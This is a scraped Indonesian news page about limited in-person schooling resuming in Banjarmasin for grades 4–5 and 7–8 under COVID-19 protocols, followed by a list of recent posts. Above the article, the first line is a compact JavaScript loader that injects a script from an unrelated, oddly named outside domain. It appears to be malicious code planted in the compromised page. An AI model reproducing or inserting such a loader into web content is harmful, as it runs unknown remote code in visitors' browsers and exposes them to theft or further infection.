(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

PTM Terbatas di Banjarmasin, Hanya Kelas Tertentu Belajar di Sekolah


KANALKALIMANTAN.COM, BANJARMASIN -Setelah tertunda libur panjang lebaran dan juga perpanjangan PPKM mikro, Pembelajaran Tatap Muka (PTM) terbatas di kota Banjarmasin akan dilanjutkan.

Totok Agus Daryanto, Kepala Dinas Pendidikan Kota Banjarmasin mengatakan, PTM terbatas hanya diberlakukan khusus peserta didik kelas 4 dan 5 untuk SD dan kelas 7 dan 8 untuk SMP.

“PTM terbatas ini diberlakukan sampai akhir ujian atau Penilaian Akhir Semester (PAS) selesai,” ujar Totok.

Setiap sekolah akan memiliki jadwal tersendiri, karena ada beberapa sekolah yang memiliki mata pelajaran muatan lokal.

“Jadi mungkin nanti, akan ada beberapa sekolah yang lebih lambat selesai PTM-nya, karena faktor mata pelajaran tersebut,” ucap Kadisdik Banjarmasin.

Sementara itu, untuk jenjang PAUD dan SD kelas 1 sampai Kelas 3, tetap menggunakan Pembelajaran Jarak Jauh (PJJ).

Totok berharap, pelaksanan PTM tetap mematuhi protokol kesehatan secara ketat dan disiplin disertai dengan dibentuknya Satuan Tugas (Satgas) penanganan Covid-19 di sekolah.

“Satgas yang dibentuk terdiri dari tim pembelajaran, psikososial, dan tata ruang. Kemudian, ada tim kesehatan, kebersihan, dan keamanan serta tim pelatihan dan humas,” tutur Totok.

Kadisdik juga menghimbau agar sekolah yang melaksanakan PTM wajib melakukan pendataan terhadap kondisi kesehatan siswa.

Bagi siswa yang sedang dalam kondisi sakit, terutama gejala yang mirip Covid-19 maka tidak diperbolehkan mengikuti PTM, menghindari terjadinya penyebaran Covid-19 di lingkungan sekolah.

“Sekolah diwajibkan melakukan evaluasi terhadap pelaksanaan PTM secara berkala, minimal seminggu sekali,” kata Kadisdik.

Jika dalam pelaksanaan PTM ditemukan ada yang terkonfirmasi positif Covid-19, maka langkah yang diambil pihaknya adalah menutup kembali sekolah dan kembali menerapkan pembelajaraj jarak jauh.

“Sekolah yang bersangkutan dilarang melaksanakan PTM, hingga batas waktu yang ditentukan Satgas Covid-19 Kota Banjarmasin,” pungkasnya.

(kanalkalimantan.com/tius)

 

Reporter : Tius
Editor : Bie

 

 


Al Ghifari

Recent Posts

Jurnalisme Hijau di Era Digital: Membumikan Kompleksitas Isu Lingkungan Agar Tak Membosankan

KANALKALIMANTAN.COM, JAKARTA - Kompleksitas isu lingkungan kerap dianggap sulit untuk dikemas menjadi berita sederhana namun… Read More

7 jam ago

Masuk Masa Tenang, APK Paslon di Banjarbaru Dibersihkan

KANALKALIMANTAN.COM, BANJARBARU - Ratusan personel tim terpadu menertibkan Alat Peraga Kampanye (APK) sehari jelang masa… Read More

8 jam ago

Bawaslu Kalsel Segera Plenokan Dugaan Pelanggaran Paslon Syaifullah-Habib Ahmad

KANALKALIMANTAN.COM, BANJARMASIN - Laporan dugaan pelanggaran yang dilayangkan salah seorang warga terhadap Calon Bupati dan… Read More

8 jam ago

Deteksi Dini Kesehatan IVA Test dan Sadanis di Puskesmas Sungai Malang

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Ketua Tim Penggerak Pemberdayaan dan Kesejahteraan Keluarga (TP PKK) Kabupaten… Read More

9 jam ago

Uji Tanding 7 Cabor Bapor Korpri HSU Vs Bapor Korpri Paser

KANALKALIMANTAN.COM, AMUNTAI - Badan Pembinaan Olahraga (Bapor) Korps Pegawai Republik Indonesia (Korpri) Kabupaten Hulu Sungai… Read More

13 jam ago

Juara di Singapore Open Dance Championship 2024, Frem Harumkan Nama Indonesia

KANALKALIMANTAN.COM, JAKARTA - Seorang warga banua yang kini berkiprah di Jakarta, Muhammad Fremmuzar Aditya Putra… Read More

14 jam ago

This website uses cookies.